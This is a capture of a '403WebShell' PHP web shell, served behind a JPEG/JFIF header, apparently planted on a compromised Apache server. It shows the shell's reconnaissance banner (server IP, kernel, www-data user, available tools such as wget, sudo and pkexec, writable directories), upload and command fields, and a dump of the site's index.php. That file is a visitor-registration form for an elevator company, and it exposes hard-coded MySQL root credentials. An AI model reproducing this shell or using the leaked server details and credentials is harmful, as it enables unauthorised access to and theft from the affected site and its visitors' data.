????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.3
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/motalahissar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/motalahissar/index.php
<?php
// PHP 5.5 compatible, no strict types or scalar type hints

// ===== CONFIG =====
$DEBUG   = false; // Must be false on public visitor page
$DB_HOST = 'localhost';
$DB_NAME = 'MotalaHissar';
$DB_USER = 'root';
$DB_PASS = 'root123';

$errors  = array();
$success = false;

// ===== DB CONNECTION =====
try {
    // Use utf8 for old MySQL
    $dsn = 'mysql:host=' . $DB_HOST . ';dbname=' . $DB_NAME . ';charset=utf8';
    $pdo = new PDO(
        $dsn,
        $DB_USER,
        $DB_PASS,
        array(
            PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        )
    );
} catch (PDOException $e) {
    if ($DEBUG) {
        $errors[] = 'DB connection failed: ' . $e->getMessage();
    } else {
        $errors[] = 'We could not process your registration right now. Please contact the reception.';
    }
}

// ===== HANDLE POST =====
$company = '';
$name    = '';
$email   = '';
$phone   = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && empty($errors)) {

    // Get POST values (no ?? operator in PHP 5.5)
    $company = isset($_POST['company']) ? trim($_POST['company']) : '';
    $name    = isset($_POST['name'])    ? trim($_POST['name'])    : '';
    $email   = isset($_POST['email'])   ? trim($_POST['email'])   : '';
    $phone   = isset($_POST['phone'])   ? trim($_POST['phone'])   : '';

    // Simple validation
    if ($company === '') {
        $errors[] = 'Company name is required.';
    }
    if ($name === '') {
        $errors[] = 'Visitor name is required.';
    }
    if ($email === '') {
        $errors[] = 'Email address is required.';
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = 'Please enter a valid email address.';
    }
    if ($phone === '') {
        $errors[] = 'Phone number is required.';
    }

    // Insert if all ok
    if (empty($errors)) {
        try {
            $stmt = $pdo->prepare(
                'INSERT INTO tblContacts (Company, Name, Email, Phone)
                 VALUES (:company, :name, :email, :phone)'
            );
            $stmt->execute(
                array(
                    ':company' => $company,
                    ':name'    => $name,
                    ':email'   => $email,
                    ':phone'   => $phone
                )
            );

            // Redirect after successful registration
            header('Location: https://motalahissar.my.canva.site/');
            exit;

        } catch (PDOException $e) {
            if ($DEBUG) {
                $errors[] = 'DB insert failed: ' . $e->getMessage();
            } else {
                $errors[] = 'We could not save your registration. Please contact the reception.';
            }
        }
    }
}

// ===== HELPERS =====
function h($s) {
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Visitor registration - Motala Hissar</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <style>
        * {
            box-sizing: border-box;
        }
        body {
            margin: 0;
            font-family: Arial, Helvetica, sans-serif;
            background: #e5e8ec;
        }
        .page {
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }
        .main {
            flex: 1;
            display: flex;
            max-width: 1100px;
            margin: 0 auto;
            background: #f5f7fa;
        }

        /* LEFT PANEL - BRAND AREA */
        .left-panel {
            flex: 0 0 40%;
            padding: 32px 28px;
            color: #ffffff;
            position: relative;
            overflow: hidden;
            background: linear-gradient(165deg, #1f2933 0%, #2f3f5a 45%, #4b647d 100%);
        }
        .left-panel::before {
            content: "";
            position: absolute;
            inset: 0;
            background:
                radial-gradient(circle at 20% 10%, rgba(255,255,255,0.28) 0, transparent 60%),
                radial-gradient(circle at 80% 80%, rgba(255,255,255,0.15) 0, transparent 55%);
            opacity: 0.9;
        }
        .left-inner {
            position: relative;
            z-index: 1;
        }
        .brand-logo {
            display: flex;
            align-items: center;
            justify-content: center;
            width: 120px;
            height: 120px;
            border-radius: 999px;
            background: #f5f7fa;
            margin: 0 auto 24px auto; /* center horizontally */
            box-shadow: 0 4px 18px rgba(0,0,0,0.35);
        }
        .brand-logo img {
            max-width: 150%;
            height: auto;
            display: block;
        }
        .tagline {
            font-size: 11px;
            letter-spacing: 0.18em;
            text-transform: uppercase;
            opacity: 0.9;
        }
        .headline {
            margin: 8px 0 14px 0;
            font-size: 24px;
            font-weight: 700;
            letter-spacing: 0.06em;
        }
        .headline span {
            display: block;
        }
        .lead-text {
            font-size: 13px;
            line-height: 1.6;
            margin-bottom: 16px;
            max-width: 260px;
        }
        .feature-list {
            list-style: none;
            padding: 0;
            margin: 10px 0 0 0;
            font-size: 13px;
        }
        .feature-list li {
            margin-bottom: 8px;
            display: flex;
            align-items: flex-start;
        }
        .feature-icon {
            margin-right: 8px;
            font-size: 14px;
        }
        .feature-text strong {
            display: block;
            font-weight: 600;
        }
        .feature-text span {
            display: block;
            font-weight: 400;
        }

        /* RIGHT PANEL - FORM AREA */
        .right-panel {
            flex: 0 0 60%;
            padding: 32px 28px;
            background: #dde2e8;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .right-inner {
            width: 100%;
            max-width: 420px;
        }
        .form-card {
            background: #ffffff;
            border-radius: 16px;
            padding: 22px 22px 24px 22px;
            box-shadow: 0 6px 20px rgba(0,0,0,0.16);
        }
        .form-header {
            margin-bottom: 10px;
        }
        .form-header h1 {
            margin: 0;
            font-size: 20px;
            color: #182433;
        }
        .form-header p {
            margin: 4px 0 0 0;
            font-size: 13px;
            color: #4b5563;
        }

        .field {
            margin-top: 14px;
        }
        label {
            display: block;
            font-size: 13px;
            margin-bottom: 4px;
            color: #374151;
        }
        input[type="text"],
        input[type="email"],
        input[type="tel"] {
            width: 100%;
            padding: 8px 10px;
            border-radius: 8px;
            border: 1px solid #cbd2e1;
            font-size: 14px;
            transition: border-color 0.15s ease, box-shadow 0.15s ease;
        }
        input[type="text"]:focus,
        input[type="email"]:focus,
        input[type="tel"]:focus {
            outline: none;
            border-color: #f5b700;
            box-shadow: 0 0 0 2px rgba(245,183,0,0.35);
        }

        button {
            margin-top: 18px;
            width: 100%;
            padding: 10px 12px;
            border: none;
            border-radius: 999px;
            font-size: 15px;
            cursor: pointer;
            background: #f5b700;
            color: #222222;
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 0.07em;
        }
        button:hover {
            background: #ffcc33;
        }

        .alert {
            padding: 10px 12px;
            border-radius: 8px;
            margin-bottom: 12px;
            font-size: 13px;
        }
        .alert-error {
            background: #ffe3e3;
            color: #9b1c1c;
        }
        .alert-error ul {
            padding-left: 18px;
            margin: 4px 0 0 0;
        }

        /* FOOTER BAND */
        .footer-band {
            background: #d0d4db;
            border-top: 4px solid #b0b5bd;
            padding: 10px 16px;
        }
        .footer-inner {
            max-width: 1100px;
            margin: 0 auto;
            display: flex;
            flex-wrap: wrap;
            font-size: 12px;
            color: #1f2933;
            justify-content: space-between;
        }
        .footer-block {
            margin: 4px 0;
        }
        .footer-label {
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 0.06em;
            font-size: 11px;
            display: block;
        }

        /* RESPONSIVE */
        @media (max-width: 860px) {
            .main {
                flex-direction: column;
                max-width: 100%;
            }
            .left-panel,
            .right-panel {
                flex: 0 0 auto;
                width: 100%;
            }
            .left-panel {
                padding: 24px 20px;
            }
            .right-panel {
                padding: 20px 16px 28px 16px;
            }
            .left-inner {
                max-width: 360px;
            }
        }
    </style>
</head>
<body>
<div class="page">
    <div class="main">
        <!-- LEFT BRAND PANEL -->
        <div class="left-panel">
            <div class="left-inner">
                <div class="brand-logo">
                    <img src="mh.png" alt="Motala Hissar logo">
                </div>
                <div class="tagline">Born in Sweden</div>
                <div class="headline">
                    <span>BUILT FOR</span>
                    <span>THE WORLD</span>
                </div>
                <p class="lead-text">
                    Motala lifts combine Scandinavian engineering with modern design.
                    Compact, elegant and easy to install anywhere.
                </p>

                <ul class="feature-list">
                    <li>
                        <div class="feature-icon">✅</div>
                        <div class="feature-text">
                            <strong>Fits almost anywhere</strong>
                            <span>Self-supporting shaft, no machine room and no load-bearing walls needed.</span>
                        </div>
                    </li>
                    <li>
                        <div class="feature-icon">✅</div>
                        <div class="feature-text">
                            <strong>Space and energy efficient</strong>
                            <span>Small footprint, low power consumption and clean, oil-free drive system.</span>
                        </div>
                    </li>
                    <li>
                        <div class="feature-icon">✅</div>
                        <div class="feature-text">
                            <strong>Easy to retrofit</strong>
                            <span>Only 100 mm pit depth required and no counterweight, ideal for existing buildings.</span>
                        </div>
                    </li>
                </ul>
            </div>
        </div>

        <!-- RIGHT FORM PANEL -->
        <div class="right-panel">
            <div class="right-inner">
                <div class="form-card">
                    <div class="form-header">
                        <h1>Visitor registration</h1>
                        <p>Please register your visit by filling in the form below.</p>
                    </div>

                    <?php if (!empty($errors)): ?>
                        <div class="alert alert-error">
                            <strong>There were some problems:</strong>
                            <ul>
                                <?php foreach ($errors as $e): ?>
                                    <li><?php echo h($e); ?></li>
                                <?php endforeach; ?>
                            </ul>
                        </div>
                    <?php endif; ?>

                    <form method="post" action="" accept-charset="UTF-8">
                        <div class="field">
                            <label for="company">Company / organisation</label>
                            <input type="text" id="company" name="company" required
                                   value="<?php echo h($company); ?>">
                        </div>

                        <div class="field">
                            <label for="name">Visitor name</label>
                            <input type="text" id="name" name="name" required
                                   value="<?php echo h($name); ?>">
                        </div>

                        <div class="field">
                            <label for="email">Email address</label>
                            <input type="email" id="email" name="email" required
                                   value="<?php echo h($email); ?>">
                        </div>

                        <div class="field">
                            <label for="phone">Phone number</label>
                            <input type="tel" id="phone" name="phone" required
                                   value="<?php echo h($phone); ?>">
                        </div>

                        <button type="submit">Register visit</button>
                    </form>
                </div>
            </div>
        </div>
    </div>

    <!-- FOOTER BAND -->
    <div class="footer-band">
        <div class="footer-inner">
            <div class="footer-block">
                <span class="footer-label">Call us</span>
                <span>+91 99482 98665 &nbsp; | &nbsp; +46 141 23 70 50</span>
            </div>
            <div class="footer-block">
                <span class="footer-label">More information</span>
                <span>www.motalahissar.se</span>
            </div>
        </div>
    </div>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit